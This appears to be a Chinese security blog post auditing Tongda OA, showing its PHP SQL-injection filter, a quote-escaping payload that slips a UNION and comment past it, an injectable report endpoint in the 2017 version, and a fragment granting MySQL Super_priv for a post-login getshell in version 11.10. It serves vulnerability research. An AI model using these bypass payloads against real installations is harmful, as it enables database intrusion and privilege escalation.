《通达oa的一些sql审计》
某oa sqlwaf绕过
function db_query($Q, $C, $QUERY_MASTER)
{
$Q = sql_injection($Q);
/*....
.....*/
return @mysql_query($Q, $C);
}
function sql_injection($db_string)
{
$clean = "";
$error = "";
$old_pos = 0;
$pos = -1;
$db_string = str_replace(" ", " ", $db_string);
while (true) {
$pos = strpos($db_string, "'", $pos + 1);
if ($pos === false) {
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true) {
$pos1 = strpos($db_string, "'", $pos + 1);
$pos2 = strpos($db_string, "\\", $pos + 1);
if ($pos1 === false) {
break;
}
else {
if (($pos2 == false) || ($pos1 < $pos2)) {
$pos = $pos1;
break;
}
}
$pos = $pos2 + 1;
}
$clean .= "\$s\$";
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));
$fail = false;
if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("联合查询");
}
else {
if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
$fail = true;
$error = _("注释代码" );
}
else {
//if ....
}
}
if ($fail) {
echo _("不安全的SQL语句:") . $error . "<br />";
echo htmlspecialchars($db_string);
exit();
}
else {
return $db_string;
}
}
'
) union select 1 #'
构造 select name from user where id=0=(select 1 as \'
) union select 1 #'检测的clean值为 select name from user where id=0=(select 1 as `$s$
2017版本sql waf 绕过实战
2017版本中/general/reportshop/utils/get_datas.php存在一个sql注入,在最新版本中已被修复
$sql = "select $col from crscell.crs_tabledata$tab where $con order by $order";
$res = MySQLExecuteSQL2($sql);
参数都可控,在con处注入,如图绕过
MySQLExecuteSQL2方法存在的问题
/general/reportshop/utils/utils.func.php
function MySQLExecuteSQL2($sql, $NoPrefix)
{
if (!selectcheck($sql)) {
return NULL;
}
$sql = str_replace("\\", "", $sql);
...
if ($cursor = exequery(TD::conn(), $sql)) {
$fz = mysql_num_fields($cursor);
...
}
return $res;
}
最新版11.10后台getshell
mysql
.
user
SET
Super_priv
= 'Y' WHERE
User
= 'oa';flush privileges;
·end·
—如果喜欢,快分享给你的朋友们吧—
我们一起愉快的玩耍吧
往期推荐